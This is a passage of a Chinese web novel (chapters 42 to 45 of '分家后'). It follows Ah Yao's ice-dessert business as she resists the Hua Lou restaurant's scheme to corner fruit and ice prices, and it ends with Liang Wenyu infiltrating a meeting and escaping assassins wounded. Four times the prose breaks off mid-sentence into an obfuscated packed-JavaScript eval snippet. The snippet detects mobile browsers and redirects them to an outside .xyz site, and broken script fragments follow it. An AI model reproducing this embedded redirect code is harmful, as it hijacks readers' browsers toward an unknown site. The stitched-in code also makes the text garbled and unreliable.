“六爷想将东西两市果子全包下,若是遇上外人前来购买,瞿兄该知道怎么做。”陆庄暗示瞿罗。 瞿罗拱手交握,摇晃身子坐稳,“六爷交代之事,我必当办妥,只是吴县令处又该如何交待?” “他一个七品小官,还左右不了六爷!”陆庄朝两人笑道。 朱玉龙起身作揖:“时候不早,再下先行一步。”冰行近期出入大,他要回去监管,万一那个不长眼的触了六爷逆鳞可就不办。 三人同出屋子,待人走远,梁文宇一个翻身进了里头,靠在门边候了会儿才开门出去。 没拿到想要的东西,他只好去大堂随意找个位置坐,点了样冰沙尝。 刚上来时,冰沙模样与阿瑶所做完全相同,连果子摆放位置都一样,原以为在某些方面会比阿瑶的好,拨开冰沙一瞧,怪就怪在冰上。 先不说价格,单说冰,冰质不存,口感粗糙,终归只想挣快钱,看来蹊跷之处就出在价格和果酱之上。 他并未尝只凑近闻了闻,冰沙中留硝石味,用果酱也无法掩盖,可他身边的食客吃的畅快,这下让梁文宇更加好奇。 这些人是嗅觉失灵还是旁得原因?这一个个都当作无事人一般,他又让人上了一碗,第二碗明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657341|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显一点气味都闻不出。 梁文宇一碗未尝,堂而皇之端着两碗沙冰走到阿瑶面前,手一伸:“可瞧出不同。” 冰雪铺需沿河岸走,途径州桥,阿瑶回到原位摆摊,食客省去多走两里路,找了后头木桌坐。 阿瑶忙着打冰,草草瞄上一眼,手中淋起糖浆,在半空画了个圆,她摆上冰沙,瞧对方拿来的:“沙冰粗糙,果酱色泽浅淡,似乎还有硝石味。” “不愧是店家。”梁文宇夸赞道。 “你想考验我?”阿瑶微抬头示意他将冰送去后头。 本就堆在摊子下方的木桌全摆了出去,她后面支起至少有五张,此刻坐满人,清一色的沙冰让梁文宇有了新发现。 他回到正面,木制隔板上摆放的沙冰与阿瑶最为相似之处只剩下摆放位置,细腻冰块堆积起来之处是顺畅的小山状,而另外一碗凹凸不平似有差异分化,冰质发黄。 梁文宇眸子闪动,难怪花楼敢卖如此低价,原是另有图谋。 阿瑶带一桶冰过来卖完就回,冰雪铺中人数不多,每桌三四人吃冰已属最好,起码当日营收最低是在两百文左右。 连续七日阿瑶都在花楼门前摆摊,陆庄曾出来与她相谈合作一事,但被阿瑶婉拒,她是见对方诚意不足,要的太多对自己无利。 “陆掌柜,不如与你谈个条件?”果价上涨一事梁文宇同她说了,花楼无非是想做生意,她能做的如此出色便有资本同陆庄谈。 陆庄面不改色:“阿瑶姑娘想谈什么?” 她视线落到冰沙上,用勺子舀起果酱,放到跟前:“果酱有我来制,六四分成!你四,我六如何?” 西市售卖的果子越来越高,多数商户拒绝售卖于她,可想而知是背后收到暗示。 “好。”陆庄望向阿瑶。 虽然买卖没能说成,但阿瑶与对方谈了个有利于她的条件,便是果酱一事,她与对方淡下果酱归她所做,果子价格方面需让半成。 对方同意并一口应下。 花楼果子送往冰雪铺时阿瑶就在门口,那一筐筐果子中,有些都是她见过但少见的种类,可见花楼能成为第一是攀附权贵所得,这仅仅只是阿瑶浅薄判断。 她回去时许老大和花楼伙计已卸完果子送到后厨,海氏洗完部分开始挖核,这样快速的变故对铺子而言是好事。 熬煮果酱的糖类是阿瑶自己用粮食制作出来,对比其他铺子用低廉饴糖所做口感上的确有些偏差,但凡吃过她所做的果酱后续再去其他地方吃都会觉着味道一般。 阿瑶告诉大伙制作方法,可在多处地方还是留了心眼。 光处理果子都需一日,再加上一锅锅熬煮,她留着的麦芽糖浆都已用完,身后还有一堆未煮。 铺子原就有麦粒在催芽,隔三差五看一次,麦芽只有半指长就被她拨下来熬糖,糖浆制作很费时费力,熬完,外头天都黑了。 三斤麦芽,十斤糯米得八斤糖,午时一过就开始熬煮,整整十个时辰。 她是一刻都不敢歇息,庆幸当初后厨多做了口铁锅,两边同时熬能省下不少时间,方便明日一早交货。 42. 分家后(十九) 送到花楼果酱,统一由店家陆庄验货,竹筐里是束口圆肩陶罐,体型不高,瓶口较大,锅勺刚好能过。 阿瑶自带瓷勺和碗,当面从罐里挖出一勺,端到陆庄面前:“店家,您看,色泽饱满,颗粒分明,倒挂能出旗,您尝一口试试。” 花楼掌柜已被陆庄替代,听说他是花楼正真的店家,此话阿瑶不得不信,原先哪位虽有过人之处,比起肚量和远见还是陆庄厉害。 在阿瑶推举之下,陆庄尝了一些,眸中闪过满意之色:“阿瑶姑娘,手艺还是如此精湛,想必是得到家父所传。” 陆庄如此了解阿瑶过去,势必提前明晰她家中人,这点心思让她有些后怕。 “您谬赞了。”阿瑶收起勺和碗,把一罐果酱朝前推了推,“这些小玩意儿能入您眼是抬举我,论做菜手艺,谁人不知花楼!” 陆庄对阿瑶印象停留在前任掌柜描述,如今与她打起交道开始有些喜爱这个小姑娘,有胆,有谋,还有心。 “阿瑶姑娘,我花楼愿与你长期合作。”他倒了杯茶推至阿瑶面前,五指并拢,做出请地姿势。 阿瑶看着眼前近四十有几的男子,眉眼中倒影着他一举一动,忽而眼眸一弯:“多谢店家。”两人合作都在阿瑶意料之中,只是没料倒如此容易。 或许是太过容易,阿瑶心底有些不安,花楼卖半价果摆在明面上,实在太过于招人耳目。 好处在于阿瑶无需因果价昂贵而发愁,但说回来,他们怎么做的目的可不单单是为了对付她。 果价上涨只是密谋中存在的一部分,陆庄将阿瑶拉入同伙名单只是添彩而言,花楼始终都还是秉承菜系为主,冰饮是暂时。 他们主要目标还是对付挤兑周边酒楼夏季营生,找纳阿瑶是陆庄设下的其中一环。 有了花楼庇护,阿瑶买果子途中顺畅许多,她推车上挂着花楼木牌,路过西市连价格都好谈许多,这大概就是背靠有人。 冰雪铺中多了一项营生,售卖果酱,除去供应花楼之外,阿瑶还卖给散客,至此也是打开了一条销路。 做多了沙冰,做起果酱来也得心应手,丝毫不输炒酸奶。 现如今送去花楼的果酱阿瑶已赚取两贯,简直比卖冰饮赚得还要快,她依旧两种都做,只是炒酸奶没新品出来后,吃沙冰之人多些。 因为阿瑶私自贩卖果酱让陆庄知晓,他特意派人过来敲打,只因花楼想做独一份,他眼中容不下第二人,冰沙之所以卖的出奇好,果酱占一半。 而阿瑶需要银子扩点,互取所需中矛盾孵化而出,花楼便停止和阿瑶合作一事,他们宁可放弃冰沙也不像让其他酒楼东山再起。 花楼能够一家独大是背后人实力颇具,其他酒楼得罪不起,甘愿低于他之下,当阿瑶对外售卖果酱时自然就能保大家温饱。 一下子,阿瑶从畅通无阻变成举步难行,东西两市得知消息的速度远远比她想象的要快,即使马不停蹄赶去,但还是晚了一步。 挂上花楼木牌在买完第一家后便已然失效,对方知晓陆庄派人过去的话后,碍于对方势力不敢卖给她。 阿瑶拉着推车一家家走,由头走尾,西市数十家果铺无一敢越过花楼嘱咐出来买私下售卖果子给她,最后作罢,拖着小车回去。 路上她似有懊悔,悔得是只卖了几日就收手不干,她从未真心相与花楼合作,只想借他们的名号从东西两市购买果子。 私底下屯上十几斤果酱,中饱私囊说得就是阿瑶,她不光屯了果酱还多报了几笔果子账。 料想花楼怎么查都查不出异样,果子和糖浆用量广送去花楼量也多,无非就是好坏参半,熬制过程用的料头都是极好的东西,装罐时她加了点水而已。 而后几天,冰雪铺装作无果酱开了几日,阿瑶为了让果酱出现说得过去,叮嘱家中人千万别说漏嘴。 她想了个法子,用牛乳和酥酪做冰沙,再购买一些果干撒上去,酥酪混合果干碎与越王头果肉口感层次居然比沙冰还要好,葡萄酸甜为酥酪增加一丝异域风味,喜食的人还会叫阿瑶多加一些。 用酥酪维持铺子营生是阿瑶干过最正确之事,隔了几日果酱风波平息后,她找出由头搬果酱出来,继续推行各种口味的冰沙,对外宣称是外祖家送来的鲜果而得。 阿瑶给铺中所有冰饮做了个排行,是根据每日售卖所得,酥酪冰沙出现没几日,排在榜首第一位,成为头牌沙冰。 之后就是黑金丹奈和庵罗果两种口味,说来奇怪蜜沙冰如此单调居然成了第二。 阿瑶没在管,到后厨冰桶处取出酥酪,沿着琉璃碗四周浇上一圈,淹没底端冰后撒上葡萄、枣仁、越王头碎。 花楼最近没什么动静,店内伙计倒是来过几趟,他们端着酥酪走,甚至每日都有人过来取,但却只有一碗。 “阿瑶,外头有人找你。”海氏叫了阿瑶出去。 门外小巷站了人,见她出去,上前几步:“阿瑶姑娘,我家主人想请你过去小坐片刻。” 她随人走到花楼雅间,推开门,帘子后头坐了人,屋内点着香,清新淡雅,他当着阿瑶面倒茶,茶叶是当年头采,泡出来的味道与陈茶不同,比后者淡却香。 “尊驾派人来请,不会是想问合作一事。”阿瑶猜到半分,可也摸不透对方。 男子侧头,左手撑上八仙桌,靠上椅背:“阿瑶姑娘好心思,我喜欢聪明人。”他提手示意阿瑶上前。 撩开帘子看到男子真面目,阿瑶眼底略有一惊,男子长相貌美,是少见的清秀美男。 阿瑶未等对方发话,坐到身旁:“提高冰价果价,如此大费周章赶我出城,您是算准我无路可走。” 男子轻笑一声:“我手下人办事倒不如一姑娘机灵。”陆庄太掉以轻心了。 “您手下人办事得力,只是我总要为自己谋取点什么,否则未免太浪费。”她能来见花楼背后主子,已经想好应对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663313|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之法。 “不如我们继续合作,你助我万利通销,我助你名利,钱财双通?”男子身边很缺像阿瑶这样一位有劲之人。 阿瑶身上有他们想要获取的东西,可她并不再想与他们合作,对方用何种办法逼迫她,是要赶尽杀绝。 某种时刻已触及到花楼最后防御线,这样下去不得不防。 表面看似是为与他合作放低果价,实际又想控制住她,阿瑶抬头盯着眼前的人,思绪快速飞舞转起来。 “那就要看花楼诚意如何,我若离去,不过换个地方营生,您觉得我说的对吗?”她抛出问题。 她走何妨,难的得是花楼在树立的名声一并让她带走了。 或许是意料到阿瑶将要说的话,男子讪笑着,动作散漫,看似漫不经心,实则笑里藏刀,那股无形的压迫从四周包裹住阿瑶,头顶像是有把利剑竖立:“阿瑶姑娘,生意人讲究诚信二字,如今你未能承诺,实属可惜,不如重新选择?” 男子直勾勾瞧着她,尾梢笑意未达眼底,勾着嘴,等待阿瑶发话。 阿瑶心知对方无论如何都要她给个说法,抬手喝茶,掩饰道:“我自然要给尊驾一个面子。”她假装喝茶,余光偷偷瞄向前方。 此刻,屋内在阿瑶一语话落之后便安静下来,耳边是茶炉沸腾,壶嘴飘出的细烟在半空旋转而上,抬袖间,随风飘散。 “好。”男子道,“你七我三。” 这是最后最后让步,阿瑶握着茶盏,看着杯中浸泡过长的茶叶由表面缓慢沉入水底,倒影出她脸上神情。 良久,她抬头:“若我不愿呢?” 男子轻笑:“阿瑶姑娘可想好了?缺少花楼这笔好买卖,日后要想在城中行走,只怕有些困难!” 阿瑶听对方还想再挽留一阵,但花楼作为会断掉她所有路,往后冰雪铺将会无人问津,而她当初辛辛苦苦经历的那么多就会成为过往云烟,即使投靠花楼,可他们就像一把巨伞,阻挡着下面想要冒尖的小伞。 “想好了。”她心意已决,再无可能。 男子见阿瑶答复之快,眉头微蹙,神色凝然:“好,往后花楼所做,还望姑娘多保重。”未能规劝阿瑶,有些惋惜,毕竟他惜才。 “多谢。”她感受到语气中对她多有照顾,或许是错觉。 从花楼离开,重见光明,阿瑶下意识眯眼偏过头去躲避刺眼日光,外头繁荣模样让她开始期待往后日子。 只是她心间一直有个疙瘩膈应着,自停止与花楼合作后,外头果商便不再对她出售各类果子,先前屯下许多果酱是没错,可总有用完一日,她得想出其他办法来。 但她脑中只有一人身影,那便是东市的吴大娘。 要说东市铺面加起来的果子未必能比过吴大娘处,可就是因为她每日售卖果量少,阿瑶才会想着从其他地方多弄一些来。 她先前已向大娘推举了一人,可这人真如自己所说一般可靠吗? 43. 分家后(二十) 那日梁文宇出入书房一事叫有心人察觉,知晓他暗中查探冰价格一事,此时由陆庄传递到六爷耳中。 当日蛛丝马迹顺着脚印显现,陆庄是个有心眼的,他临行前特意在书房角落摆根细羽,回来时见着,他便知晓屋内进过人。 等送阿瑶离去后,他三步并两步走到男子身边:“六爷,后续是否要再下招呼一声。” “不必。”男子搁下茶盏,“她掀不起大风大浪,不过身边有碍手碍脚之人,你且去查清,该怎么做,无需我多说。” “是。”陆庄带人去排查这几日进入花楼的食客。 因为阿瑶拒绝与花楼合作,算是彻底断送退路,两市之间的果价随着冰价上涨,价格已经高到要将所有商贩都驱赶出城。 连冰雪铺都无一幸免,留在州桥贩卖冰饮子的小摊都是私下投靠花楼。 本来她还有机会跑几里路去外头镇子购买果子,可听梁文宇说外头几个镇子都受到控制,买断所有果价,将东西全捏在自己手中。 他们速度极快,快到连一丝反应余地都未给阿瑶留下,谈判时她已经从男子口中得知她们一举一动都在对方监视之下。 回到铺子第一件事便是清点剩余数目,所有款式果酱还剩下五六罐,撑上几日不难,难却难在食客人数减少。 “阿瑶,这几日营生未必好,不如我改用摊子去外头。”许老大道。 “阿爹,你和阿娘守在铺子中,我与梁文宇就行。”阿瑶开始搬运陶罐中的果酱,“外头需要人去,可还没潦倒至此,虽然他们四处断我之路,可还是能有法子突破,只是需要几日。”她已有些思路。 许老大点头:“好,我与你阿娘一定把店看好了。” 梁文宇帮阿瑶搬货出去,一路拖着推车,两人边走边卖。一路上卖出好几碗,数量少些,好歹开张。 她摆摊位置始终没变,还是摆在州桥底花楼对面,只是身边多了几家冰饮摊,售卖款式和阿瑶这些差不多。 “这不是阿瑶妹子么?怎么突然回来了。”对方只以为阿瑶是铺子开不下去,他们仰仗花楼,自然得了不少好处。 阿瑶搅动果酱,扯开嘴角:“如今天热,想着食客方便些。”她铺子开的是有些远。 原本还有些达官贵人差人来购沙冰,如今好似许久未曾看到,她心中想着让梁文宇送几碗沙冰去吴县令府上。 瞧见吴姣姣冒着烈日出来,身旁有仆从打伞,可额角沁出的汗珠将妆容弄花,她走到阿瑶身边找位子坐下,让她赶忙做碗沙冰出来解热。 “阿瑶,你若是有难处可尽管同我说,我阿爹是县令,有些小事他还是能帮上一帮。”吴姣姣吃下冰,顿时舒服许多。 “好,此事劳烦你了。”阿瑶感激着,“本这事不想告知与你,事关民生,若是不乘早解决,城中百姓怕是要热死街头。”她也是才听闻冰价已快涨至一千八百一块。 此事为了百姓也是为她自己。 “你店中最新的冰沙给我来上一碗。”她热的慌。 “好。”阿瑶并非担心吴姣姣贪凉,是见她吃了没几口,冰就化成了水。 酥珞碗是阿瑶代替果酱使用的,本就带着随意姿态做出来的,没曾想能如此紧俏,她刮了些牛乳冰沙放进去,多加了一些葡萄和碎果仁进去。 与吴姣姣初遇因沙冰而起,说来也是一桩怪事,当初她才刚开始买沙冰,偏偏选重她,各大酒楼所做,难道在食客眼中竟然都不如她? 这个念头很快就被阿瑶摒弃,若是未能超越她,那外头那些人岂不乱套。 “你快同我说说,眼下该如何帮你?”吴姣姣吞下冰水。 阿瑶小小瞟了眼,低下头:“此事荣我想想。”她暂时想不出应对方法。 视线投向后厨清理铁盘的梁文宇,只可惜对方一心扑在上头,根本没注意到前方。 “阿瑶,此事就交给我去办!”吴姣姣拉住阿瑶手央求道。 阿瑶其实并非不信她,而是吴姣姣身份特殊,被外人知晓对她也未必有什么好处。 “姣姣此事你插手不太方便,还是莫掺合进来为好。”阿瑶反手握上她手,担心她伤心,“你只需私下稍稍帮一帮便可。” “好,你说什么,我便做什么。”吴姣姣答应下。 阿瑶手上还有些果酱,可需要通过吴姣姣手去东西两市购入果子,对方明显冲着她而去,不愿售卖于她必是收到指示,就连她们几人模样都认全,对方心思枕密是故意过来针对她的而来。 “你改日替我去西市购买些果子,看看对方是否想将所有人抑制住。”阿瑶只能靠自己猜测。 两人见面后间隔几日阿瑶与吴姣姣一起去东西两市查看,先前果实摊贩对阿瑶的不待见依旧保持常态,而她离去前找了个机会从吴姣姣身边经过走向远处较为隐秘小巷中,那边的位置刚好能瞧见对面情况,她看着。 果商和吴姣姣做了交易,并且态度恭敬,将她都快奉承至坐上宾客。 映入眼中,她隐去身影,对于自己的猜测有了十足把握。 很快吴姣姣购买的果子,由果商派人送到她们最先制定好的宅子当中,对方离开前虽多次回望,可还是过了这一关。 被阿瑶识破花楼诡计,她后头继续照着外人代买进行,这样的状态维持了快有七日,等吴姣姣再去购买果子是却发现行不通。 而后又派身边人前去购买,结果还是不行,对方一味不语,让前来购买的散户离去。 打探一番得知花楼高价买断东西两市所有果商果子,甚至想将两市果价都握在手中得此来控制整个镇的价格。 这本就是暗中进行,知道消息人数不多,还刻意控制防止消息走漏。 原本数量稀少的果子在夏日里成为快货比金价的东西,连着数量极其之多的西瓜在此刻也高达一百文一个。 渐渐州桥附近除去阿瑶一家冰饮铺之后,剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686602|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就以各种酒楼为主,售卖蜜沙冰。 从某种角度讲,酒楼之间由花楼带头化敌为友,他们集中针对阿瑶一人,到底是能将小铺换成大屋的人,手段和眼见是他们曾未触及到的。 阿瑶任然按照往常摆摊营生,花楼时长会派人出来站岗,门外人时刻关注阿瑶这边动向,连着手段都跟她学了不少出来。 即使对方使出各种手段,他们都不带怕,始终都有一批食客总是光顾,晓得市价后会偷偷多给几文钱,有些会拿出家中自种的果子过来。 主要还是食客家底丰厚,能在这种情况出来的都是一些小有名气的商人或是地主,对于这等子事有另外看透,想托阿瑶手多做几瓶果酱,尤其是青梅。 夏日炎热,食欲难免不振,或是家中有身怀六甲之人靠青梅酱解暑。 直到铺子中剩下小半罐果酱,阿瑶捧着陶罐出来:“吴大娘处可还有果子出售。” “对方显然是想将我们逼至绝境。”梁文宇前不久得到消息,花楼控制瓜果,不许果商私自贩卖,从瓜农处买断,大片大片瓜果地由人值守。 他拿出来的酥珞吸引阿瑶目光,上面颗粒分明的葡萄是成为她视线所在之处。 果脯是用糖腌制出来,先前她用过丹奈果脯制作炒酸奶,泡发后失去甜味并不影响口感,只要控制浸泡时长,那还是一条路。 她眸中一亮:“带上银子,我们走。” 州桥附近有几家果脯摊位,上面聚集各种阿瑶稀缺的果子,连买三家,几乎都把人手中所有压货都买走。 回到铺子阿瑶需要先清洗掉果脯上的饴糖,连着清洗三回,之后在打捞井水浸泡一两个时辰,这样的果肉才会不失甜度。 接着捣碎,用腌制过后的果子熬煮,因果肉中含有的糖是阿瑶去除不了的,她在熬制过程中用了相对少的糖浆,出来的果酱比不上新鲜果子,可还是能缓解眼下缺乏原谅的状态。 简单的蜜冰沙瞬间成为各种果酱沙冰之后的主要解暑佳品,售出碗数每日都在上涨,阿瑶屯冰的消息不胫而走。 冰雪铺每日都迎来食客远超酒楼状态,都是阿瑶没见过的生面孔,他们身上也并未穿戴服饰,这波食客并未将沙冰吃完,多数都是吃了一半就走,结合冰价贵的状态之下,食客是很让她有些疑心是有人派来。 她巡视时,视线与同在后厨的梁文宇对上,两人眼中出奇一致。 梁文宇绕过后厨站到阿瑶身边,眯起眼:“看来背后人按耐不住了。” 他所说的背后人大抵是那人邀请阿瑶前去一聚之人。 “他们没道理对我们先下手,铺中营生还不足外面一半。”阿瑶每日都会算账。 “果价上涨是在为后面冰价合理安排,前面时涨时落,冰价去被掩盖过去,你现在去随便拉一人问问,冰价先许几何。”梁文宇发现了背后原因。 阿瑶感叹梁文宇明锐程度同时对他表面装出来的模样有些怀疑。 44. 分家后(二十一) 他显露出来的样子完全不覆最初阿瑶见他时的模样,现在展现给阿瑶的一面是极其睿智。 阿瑶真问了冰价,当得知外面已经涨至两贯一块时她暗自庆幸当初屯下的冰块该多么明智。 “照你所说,他们已经在筹谋对付我们的法子?”阿瑶只能考虑到此。 梁文宇突然靠近她道:“他们的目标不是我们。” “可为何要针对于我?”阿瑶不解! “独树一帜,你说为何?”梁文宇有意点阿瑶。 她悟懂梁文宇话,花楼要的不是将她赶出镇子,是想把所有冰饮摊收入麾下,为在之后能更快圈钱。 花楼需要的不仅是培养属于自己的冰饮,还有控制冰价即果价,达到只许他们有的东西。 看透真相之后阿瑶后怕起来,她那日拒绝的“神秘人”很有可能是花楼背后的掌门人。 “若是因我而言,外面那些投靠他们之人岂不更容易被针对?”外面冰饮不止她一家在卖,还有几家都是依附花楼行事。 话虽如此,可她出去摆摊时也未瞅见主家有给跟随者果子,反而都是常见款式,蜜沙冰。 购买所有果脯熬煮出来的也不过暂时缓解几日而已,她最后还是回归到淳朴做法,增加了一些冰水。 原本想着各种花样吃食,却都止于毫无头绪而终,那些东西都需要搭配果酱来进行调味,少一样都不行。 “他们明面上是一根绳上的蚱蜢,背地里估计比我们都还期望他们消失。”梁文宇更加贴近阿瑶一些。 本来阿瑶就躲在油伞之下乘凉,身后突然靠近的热源,她下意识般往边上走。 光站在冰桶傍边都不见得凉快几分,阿瑶怕热,看着顺势要往她这边来的梁文宇,视线落到脚尖,总不能推人家吧。 “你…你先别过来。”阿瑶眼神在两人脚尖来回,抬手制止对方。 梁文玉顿了顿。 “我有些热。”她怕人误会,解释道。 “这些人中或许有和我们一样之人。”阿瑶环视周围几处停着冰饮摊的店家。 他们坐在伞下松散而坐,有为自己打扇,有和冰饮解暑,还有为食客制作吃食。 不难辨认他们之中会存在阿瑶说的那些人,其中部分摊位上方摆出切开的鲜果。 外面食客来了几波,停留下来的人要少一些,由此可见花楼使出的伎俩还是有用的,食客往其他摊位涌动,阿瑶从未在意。 她希望所有人都能同时挣钱,可有人并非如此这样想。 或许是错觉,总觉得近期身边有人一直监视她,那种感觉让阿瑶很不舒服,至如今做冰饮营生的女子只有她一人,也唯有她一人。 这是让人怪异之处,明明抛头露面女子经营胭脂,香包人数多,要说在满是男子经营的冰饮中只有阿瑶一人。 “看来花楼埋于人群中间之人出现了。”梁文宇注意到远处,那人看到他投回去的目光虚心低下头。 阿瑶顺着梁文宇告知的方位望过去,果然,那人再次抬头看过来,视线在空中交汇,直视的怒气通过眸子传达出去。 胸腔里安奈不住的火意快速冲上脑,身躯被气的有些发抖,指尖疼痛处告诉她要冷静,阿瑶暂且压住那股无名火,闭上眼调整。 “找机会打听一下那人。”阿瑶几乎快咬牙切齿的说出来。 “好。”梁文宇道。 “不。”阿瑶忽然开口,“这事要让姣姣帮忙,吴县令近期查冰价严格,他哪儿也许会有线索。”她是听吴姣姣无意说起而知。 梁文宇眼眸微变,再抬眼时便没了适才出现的浅淡杀气,"吴县令若是知晓必然高兴。"只怕是知县不知果价上涨都是蒙蔽人之物。 摊子基本都是阿瑶在打理,她隔几日能收到吴大娘叫梁文宇送来的果子,是阿瑶这几日一直没出现过庵罗果,早期坐的那批果酱已经用完,后头紧赶慢赶出来的果酱也都没了。 她现在还想靠庵罗果小赚一波,数量总归少些,一颗果子控制量做了四五碗炒酸奶,由于果子价格上涨,阿瑶变改了价格,上调为六十文一碗。 价已经高出许多,她做好无人来买的打算,偏偏来了位几月未见的熟客,他刚从城里出来途径此处来吃上一碗。 阿瑶接着送冰为由叫梁文宇去吴县令府上送冰。 梁文宇正大光明今日吴县令内阁后,外面链接府衙的小门被小厮关上,他将沙冰交到下人手中呈递上去,自个先去了趟屋子取了点银两出来。 正要往书房去的路上遇到了吴姣姣,看模样是从书房方向出来,两人打了照面,少少说上几句客套话。 吴县令近期迷上书画字帖,听下人说都是花楼花重金送来的,都堆在门口八仙桌前,梁文宇进去是桌上都快堆满了锦盒。 他撩袍进门,指尖掀开盒子,展开字画赏玩起来,对书画字贴他颇有研究,可说是极其熟络。 “舅父何时也喜好起这些文雅之物。”梁文宇收回字画放入盒中。 吴县令搁下书籍,”外头人空口传话,你何时见过舅父收藏这些,还不是被你这臭小子给害的。” 梁文宇先前接着吴县令名头在酒楼雅间与同僚们之间大放厥词,说什么吴知县酷喜文书,有意借他手收藏,一传十十传百,渐渐便传开了他喜好书画一事。 现在外面人都知晓吴知县酷爱名迹,尤其是各大世家之作,才能让人有理可送。 “舅父为官清廉,不利您在镇上行事。”梁文宇翻看其他锦盒中所装物。 吴县令听着话,脸上露出满意,“短短几月,子恒与以往略有不同。”总算开窍了,不枉他一片苦心。 梁文宇抬手一抖,作揖道:“这些年让舅父替侄儿操心了。” 看着梁文宇又恢复先前纨绔模样,他先是一笑,随后欣慰:“总算没辜负你外祖遗言。” 说起梁文宇外祖家,世代为官,从七品小官一路爬到正三品,当年为了躲避朝堂尔虞我诈,辞官回乡。 当地百姓都十分爱戴这位老大人,而他做出了很多利民之举,耳濡目染才能做到青出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686603|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于蓝胜于蓝。 “府中有内应一事,是我特意放任为之,已从那人口中得知近期背后之人要与一人见面,此人事关后续。”吴县令派人潜伏花楼获得消息,他递了份信给梁文宇。 他打开看了眼,心中已有打算,向吴知县短短说了几句辞行。 花楼今日会有场宴会,声势浩大,梁文宇得知消息后,了解一二之后乔装打扮一番进了里头,他挑了几个武功手段好的衙役暗地埋伏了那人,取而代之。 此刻他就是花楼店家要等的那位接头人! 换上对方衣物坐在大堂喝水,面前是说书人振振有词,激昂顿挫,而他身边出现位借添茶为由私下邀请他往二楼去的小二。 起身后便有人迎他往二楼尽头的书房而去,梁文宇看清了站在门口等待之人,他是花楼店家陆庄,看模样里面坐应该坐着位他将要见的人。 梁文宇轻轻瞄了眼,从推开的门中进入,淡青纱帘后头是位男子,年纪尚轻,身上却有股沉稳之气。 “六爷。”梁文宇对他作揖道。 被称作六爷的男子指尖敲打桌面,在听见动静时睁开眼:“坐。” “多谢六爷。”梁文宇大马金刀坐在他对侧圆凳上,直视对方:“六爷急招在下回京不知所谓何事。” “冰价抽取六成,果价抽取五成。”六爷转动手中绿扳指,“你说盈利几何?” “冰是百姓常用,六成少了些,八成已可。”梁文宇顺着对方心思说话。 六爷忽而抬眼:“花楼所得还是太少,改明儿你替我多找几人,厨子手艺必然要远胜外头。” 梁文宇站起身:“是。” “说归说,起来作何?”六爷举起茶盏,吹动茶水,抿上一口,“此事缓上一缓无妨,今日你从何处来?” 梁文宇拇指簒住掌心:“无人巷。” “不错。”六爷点头,“你远道而来想必辛苦,先下去歇息。” “谢六爷。” 送走梁文宇,陆庄进去同六爷说话,男子察觉到异样对陆庄道:“此人杀之。” 两人对话,梁文宇无意暴露了自己身份,他似猜到对方下一步行为早早离开花楼附近。 片刻,楼上窜出信烟,埋伏于酒楼附近的杀手开始涌动,他们朝着梁文宇离去方向追。 惝恍逃窜中他躲进小巷一户人家之中,暂且躲避对方追踪,隐秘行踪却暴露在屋檐紧追其后的黑衣人面前,他自幼文武双学,以一敌十。 刀光剑影中,杀红了眼,臂膀与后背被利忍划出口子,鲜血如泉水般滋滋往外冒染红黛蓝外衫,脸上出现两道血痕,他最后侥幸逃脱。 存活的杀手还在追赶,他失血过多浑身虚弱,步履变得艰难,梁文宇捂住胸口躲到西市街口摊子底,面色苍白失去血色,脚步声由远渐近,踩地沉闷地碰撞声同时也敲打着他心,一步步靠近。 身上鲜血越淌越多,力气在缓慢消散,地面滴落的血迹成为暴露行踪的致命缺点,他握紧短刀,做足防备,命悬一线之间也要赌上一回。 45. 分家后(十三) 箭在弦上不得不发,脚步距离他已不足三尺,躲藏之处衣角泄露了他所在位置。 “梁文宇!”阿瑶发现熟悉绣花图案,还有地面半干的血迹,跑过去,喊的很轻。 他虚弱一面展现在她面前,是哪么的狼狈,眼神中泯灭的希望像是新生烛火灼灼燃烧起来,脸上血迹斑斑,嘴角微勾,带着一股邪魅劲。 “你来了。”他缓慢说着。 阿瑶粗粗检查了伤口,目光所及是他胸膛前深浅不一的两道伤口,她撕掉半截衣角替他包扎臂膀和胸膛,勉强止住往外冒的血水。 